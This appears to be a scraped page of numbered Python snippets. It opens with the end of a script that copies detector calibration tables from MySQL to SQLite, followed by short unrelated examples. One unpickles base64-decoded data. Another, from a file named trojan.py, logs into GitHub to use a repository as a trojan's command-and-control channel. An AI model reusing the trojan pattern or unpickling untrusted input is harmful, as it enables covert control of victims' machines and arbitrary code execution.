,  `SensorID` integer NOT NULL
,  `0` float NOT NULL
,  `1` float NOT NULL
,  `2` float NOT NULL
,  `3` float NOT NULL
,  `4` float NOT NULL
,  `5` float NOT NULL
,  `6` float NOT NULL
,  `7` float NOT NULL
,  `8` float NOT NULL
,  `9` float NOT NULL
,  `10` float NOT NULL
,  `11` float NOT NULL
,  `12` float NOT NULL
,  `13` float NOT NULL
,  `14` float NOT NULL
,  `15` float NOT NULL
,  `16` float NOT NULL
,  `17` float NOT NULL
,  `18` float NOT NULL
,  `19` float NOT NULL
,  `20` float NOT NULL
,  `21` float NOT NULL
,  `22` float NOT NULL
,  `23` float NOT NULL
,  `24` float NOT NULL
,  `25` float NOT NULL
,  `26` float NOT NULL
,  `27` float NOT NULL
,  `28` float NOT NULL
,  `29` float NOT NULL
,  `30` float NOT NULL
,  `31` float NOT NULL
,  `32` float NOT NULL
,  `33` float NOT NULL
,  `34` float NOT NULL
,  `35` float NOT NULL
,  `36` float NOT NULL
,  `37` float NOT NULL
,  `38` float NOT NULL
,  `39` float NOT NULL
,  `40` float NOT NULL
,  `41` float NOT NULL
,  `42` float NOT NULL
,  `43` float NOT NULL
,  `44` float NOT NULL
,  `45` float NOT NULL
,  `46` float NOT NULL
,  `47` float NOT NULL
,  `48` float NOT NULL
,  `49` float NOT NULL
,  `50` float NOT NULL
,  `51` float NOT NULL
,  `52` float NOT NULL
,  `53` float NOT NULL
,  `54` float NOT NULL
,  `55` float NOT NULL
,  `56` float NOT NULL
,  `57` float NOT NULL
,  `58` float NOT NULL
,  `59` float NOT NULL
,  `60` float NOT NULL
,  `61` float NOT NULL
,  `62` float NOT NULL
,  `63` float NOT NULL
,  `64` float NOT NULL
,  `65` float NOT NULL
,  `66` float NOT NULL
,  `67` float NOT NULL
,  `68` float NOT NULL
,  `69` float NOT NULL
,  `70` float NOT NULL
,  `71` float NOT NULL
,  `72` float NOT NULL
,  `73` float NOT NULL
,  `74` float NOT NULL
,  `75` float NOT NULL
,  `76` float NOT NULL
,  `77` float NOT NULL
,  `78` float NOT NULL
,  `79` float NOT NULL
,  `80` float NOT NULL
,  `81` float NOT NULL
,  `82` float NOT NULL
,  `83` float NOT NULL
,  `84` float NOT NULL
,  `85` float NOT NULL
,  `86` float NOT NULL
,  `87` float NOT NULL
,  `88` float NOT NULL
,  `89` float NOT NULL
,  `90` float NOT NULL
,  `91` float NOT NULL
,  `92` float NOT NULL
,  `93` float NOT NULL
,  `94` float NOT NULL
,  `95` float NOT NULL
,  `96` float NOT NULL
,  `97` float NOT NULL
,  `98` float NOT NULL
,  `99` float NOT NULL
,  `100` float NOT NULL
,  `101` float NOT NULL
,  `102` float NOT NULL
,  `103` float NOT NULL
,  `104` float NOT NULL
,  `105` float NOT NULL
,  `106` float NOT NULL
,  `107` float NOT NULL
,  `108` float NOT NULL
,  `109` float NOT NULL
,  `110` float NOT NULL
,  `111` float NOT NULL
,  `112` float NOT NULL
,  `113` float NOT NULL
,  `114` float NOT NULL
,  `115` float NOT NULL
,  `116` float NOT NULL
,  `117` float NOT NULL
,  `118` float NOT NULL
,  `119` float NOT NULL
,  `120` float NOT NULL
,  `121` float NOT NULL
,  `122` float NOT NULL
,  `123` float NOT NULL
,  `124` float NOT NULL
,  `125` float NOT NULL
,  `126` float NOT NULL
,  `127` float NOT NULL
,  `128` float NOT NULL
,  `129` float NOT NULL
,  `130` float NOT NULL
,  `131` float NOT NULL
,  `132` float NOT NULL
,  `133` float NOT NULL
,  `134` float NOT NULL
,  `135` float NOT NULL
,  `136` float NOT NULL
,  `137` float NOT NULL
,  `138` float NOT NULL
,  `139` float NOT NULL
,  `140` float NOT NULL
,  `141` float NOT NULL
,  `142` float NOT NULL
,  `143` float NOT NULL
,  `144` float NOT NULL
,  `145` float NOT NULL
,  `146` float NOT NULL
,  `147` float NOT NULL
,  `148` float NOT NULL
,  `149` float NOT NULL
,  `150` float NOT NULL
,  `151` float NOT NULL
,  `152` float NOT NULL
,  `153` float NOT NULL
,  `154` float NOT NULL
,  `155` float NOT NULL
,  `156` float NOT NULL
,  `157` float NOT NULL
,  `158` float NOT NULL
,  `159` float NOT NULL
,  `160` float NOT NULL
,  `161` float NOT NULL
,  `162` float NOT NULL
,  `163` float NOT NULL
,  `164` float NOT NULL
,  `165` float NOT NULL
,  `166` float NOT NULL
,  `167` float NOT NULL
,  `168` float NOT NULL
,  `169` float NOT NULL
,  `170` float NOT NULL
,  `171` float NOT NULL
,  `172` float NOT NULL
,  `173` float NOT NULL
,  `174` float NOT NULL
,  `175` float NOT NULL
,  `176` float NOT NULL
,  `177` float NOT NULL
,  `178` float NOT NULL
,  `179` float NOT NULL
,  `180` float NOT NULL
,  `181` float NOT NULL
,  `182` float NOT NULL
,  `183` float NOT NULL
,  `184` float NOT NULL
,  `185` float NOT NULL
,  `186` float NOT NULL
,  `187` float NOT NULL
,  `188` float NOT NULL
,  `189` float NOT NULL
,  `190` float NOT NULL
,  `191` float NOT NULL
,  `192` float NOT NULL
,  `193` float NOT NULL
,  `194` float NOT NULL
,  `195` float NOT NULL
,  `196` float NOT NULL
,  `197` float NOT NULL
,  `198` float NOT NULL
,  `199` float NOT NULL
,  `200` float NOT NULL
,  `201` float NOT NULL
,  `202` float NOT NULL
,  `203` float NOT NULL
,  `204` float NOT NULL
,  `205` float NOT NULL
,  `206` float NOT NULL
,  `207` float NOT NULL
,  `208` float NOT NULL
,  `209` float NOT NULL
,  `210` float NOT NULL
,  `211` float NOT NULL
,  `212` float NOT NULL
,  `213` float NOT NULL
,  `214` float NOT NULL
,  `215` float NOT NULL
,  `216` float NOT NULL
,  `217` float NOT NULL
,  `218` float NOT NULL
,  `219` float NOT NULL
,  `220` float NOT NULL
,  `221` float NOT NULL
,  `222` float NOT NULL
,  `223` float NOT NULL
,  `224` float NOT NULL
,  `225` float NOT NULL
,  `226` float NOT NULL
,  `227` float NOT NULL
,  `228` float NOT NULL
,  `229` float NOT NULL
,  `230` float NOT NULL
,  `231` float NOT NULL
,  `232` float NOT NULL
,  `233` float NOT NULL
,  `234` float NOT NULL
,  `235` float NOT NULL
,  `236` float NOT NULL
,  `237` float NOT NULL
,  `238` float NOT NULL
,  `239` float NOT NULL
,  `240` float NOT NULL
,  `241` float NOT NULL
,  `242` float NOT NULL
,  `243` float NOT NULL
,  `244` float NOT NULL
,  `245` float NOT NULL
,  `246` float NOT NULL
,  `247` float NOT NULL
,  `248` float NOT NULL
,  `249` float NOT NULL
,  `250` float NOT NULL
,  `251` float NOT NULL
,  `252` float NOT NULL
,  `253` float NOT NULL
,  `254` float NOT NULL
,  `255` float NOT NULL
,  `256` float NOT NULL
,  `257` float NOT NULL
,  `258` float NOT NULL
,  `259` float NOT NULL
,  `260` float NOT NULL
,  `261` float NOT NULL
,  `262` float NOT NULL
,  `263` float NOT NULL
,  `264` float NOT NULL
,  `265` float NOT NULL
,  `266` float NOT NULL
,  `267` float NOT NULL
,  `268` float NOT NULL
,  `269` float NOT NULL
,  `270` float NOT NULL
,  `271` float NOT NULL
,  `272` float NOT NULL
,  `273` float NOT NULL
,  `274` float NOT NULL
,  `275` float NOT NULL
,  `276` float NOT NULL
,  `277` float NOT NULL
,  `278` float NOT NULL
,  `279` float NOT NULL
,  `280` float NOT NULL
,  `281` float NOT NULL
,  `282` float NOT NULL
,  `283` float NOT NULL
,  `284` float NOT NULL
,  `285` float NOT NULL
,  `286` float NOT NULL
,  `287` float NOT NULL
,  `288` float NOT NULL
,  `289` float NOT NULL
,  `290` float NOT NULL
,  `291` float NOT NULL
,  `292` float NOT NULL
,  `293` float NOT NULL
,  `294` float NOT NULL
,  `295` float NOT NULL
,  `296` float NOT NULL
,  `297` float NOT NULL
,  `298` float NOT NULL
,  `299` float NOT NULL
);''')

    cursorSql3.execute('''CREATE TABLE IF NOT EXISTS `SipmNoiseBins` (
  `MinRun` integer NOT NULL
,  `MaxRun` integer DEFAULT NULL
,  `Bin` integer NOT NULL
,  `Energy` float NOT NULL
);''')

    cursorSql3.execute('''CREATE TABLE IF NOT EXISTS `SipmPosition` (
  `MinRun` integer NOT NULL
,  `MaxRun` integer DEFAULT NULL
,  `SensorID` integer NOT NULL
,  `X` float NOT NULL
,  `Y` float NOT NULL
);''')

    tables = [
        'DetectorGeo', 'PmtBlr', 'PmtGain', 'PmtMapping', 'PmtMask',
        'PmtNoiseRms', 'PmtPosition', 'PmtSigma', 'SipmBaseline', 'SipmGain',
        'SipmMapping', 'SipmMask', 'SipmNoise', 'SipmNoiseBins', 'SipmPosition'
    ]

    # Copy all tables
    for table in tables:
        # Get all data
        cursorMySql.execute('SELECT * from {0}'.format(table))
        data = cursorMySql.fetchall()

        # Insert all rows
        fields = '?'
        nfields = len(data[0])
        fields += (nfields - 1) * ',?'
        cursorSql3.executemany(
            'INSERT INTO {0} VALUES({1})'.format(table, fields), data)
        connSql3.commit()
예제 #25
0
 def decode(self):
     return pickle.loads(dec(self.message))
예제 #26
0
from base64 import b64decode as dec

def f(L):
    iL = [ord(c) for c in L]
    hL = [hex(n)[2:].zfill(2) for n in iL]
    return ''.join(hL)

fn = 'kf'
fh = open(fn)
data = fh.read()
fh.close()

# base64 with newlines
data = ''.join(data.strip().split('\n')[1:-1])
b = dec(data)
bL = b.split('\x02')

# analysis

# n is the 4th item
n = f(bL[3])
# first two bytes are `8181`, repeats the len in hex: 129
print 'n'
print n[4:24], n[-20:]
v = str(eval('0x' + n[4:]))
print v[:20], v[-20:]

for i,e in enumerate(bL):
    # convert to 1-based index
    print str(i+1).rjust(2), f(e)[:40]
예제 #27
0
파일: trojan.py 프로젝트: hackzsd/CNC
def connectToGithub():
	gh = login(username="******",password=dec("base64encodedpassword"))

	repo = gh.repository("hackzsd","CNC")
	branch = repo.branch("master")
	return gh,repo,branch
예제 #28
0
def recv_line(c):
    c.recvline()
    c.recvline()
    c.recvline()
    d = c.recvline()
    return dec(d)